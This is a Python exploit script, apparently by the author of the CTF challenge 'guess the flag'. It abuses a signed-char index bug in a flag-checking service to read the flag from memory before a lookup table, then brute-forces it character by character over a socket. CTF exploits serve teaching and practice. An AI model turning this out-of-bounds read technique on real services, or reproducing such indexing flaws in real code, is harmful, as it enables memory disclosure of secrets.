/
thejh_exploit.py
executable file
·103 lines (90 loc) · 3.38 KB
/
thejh_exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#!/usr/bin/env python3
# exploit for "guess the flag" by TheJH (challenge author)
import socket
import sys
import struct
def get(s, n): return s.recv(n, socket.MSG_WAITALL)
def expect(s, bstr):
resp = get(s, len(bstr))
if resp != bstr:
print('expected {0}, but got {1}'.format(bstr, resp))
sys.exit(1)
print('got {0} as expected'.format(resp))
def send_try(s, data): s.send(data+b'\n')
def read_resp(s):
first = get(s, 1)
if first == b'N' or first == b'b':
expect(s, b'ope.\nguess> ')
return False
if first == b'Y':
expect(s, b'aaaay! You guessed the flag correctly! But do you still remember what you entered? If not, feel free to try again!\nguess> ')
return True
print('bad first response byte')
sys.exit(1)
def hexify(c):
if c < 10:
return ord('0')+c
return ord('a')+(c-10)
# Trick: the code uses the hex char we send as a signed number to index into bin_by_hex, so if we use a
# negative number (0x80-0xff), the code reads a character from before bin_by_hex - and before bin_by_hex
# is the flag. this means that e.g. for the first two hex chars, you can send '0' and a back-reference
# to the correct byte to make the code believe you know the correct character for that position.
def make_backrefs(off):
ret = b''
for i in range(0, 50):
ret += b'0'
ret += struct.pack('b', i-off)
return ret
# We take our "guess" full of backreferences that will always pass the check and replace just one pair of
# hex characters with a real guess. Now we can bruteforce one character after another until we have the
# complete flag.
def make_guess(off, pos, guess):
backrefs = make_backrefs(off)
return (backrefs[:pos*2] +
bytes([hexify(guess//16), hexify(guess%16)]) +
backrefs[pos*2+2:])
def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], int(sys.argv[2])))
expect(s, b'Welcome to the super-secret flag guess validation service!\n')
expect(s, b'Unfortunately, it only works for the flag for this challenge though.\n')
expect(s, b'The correct flag is 50 characters long, begins with `flag{` and\n')
expect(s, b'ends with `}` (without the quotes). All characters in the flag\n')
expect(s, b'are lowercase hex (so they are in [0-9a-f]).\n')
expect(s, b'\n')
expect(s, b'Before you can submit your flag guess, you have to encode the\n')
expect(s, b'whole guess with hex again (including the `flag{` and the `}`).\n')
expect(s, b'This protects the flag from corruption through network nodes that\n')
expect(s, b'can\'t handle non-hex traffic properly, just like in email.\n')
expect(s, b'\n')
expect(s, b'guess> ')
return s
# find offset
offset = 64
# socks = [None] * 120
# for off_try in range(50, 70):
# socks[off_try] = connect()
# send_try(socks[off_try], make_backrefs(off_try))
# for off_try in range(50, 70):
# if read_resp(socks[off_try]):
# offset = off_try
# if offset == -1:
# print('unable to find offset')
# sys.exit(1)
# print('offset is {0}'.format(offset))
# get flag
s = connect()
flag = ''
for idx in range(50):
for guess in range(0x30, 0x7e):
send_try(s, make_guess(offset, idx, guess))
correct_guess = 0
for guess in range(0x30, 0x7e):
if read_resp(s):
correct_guess = guess
if correct_guess == -1:
print('unable to guess char')
sys.exit(1)
print('got char')
flag += bytes([correct_guess]).decode('ascii')
print('got flag: {0}'.format(flag))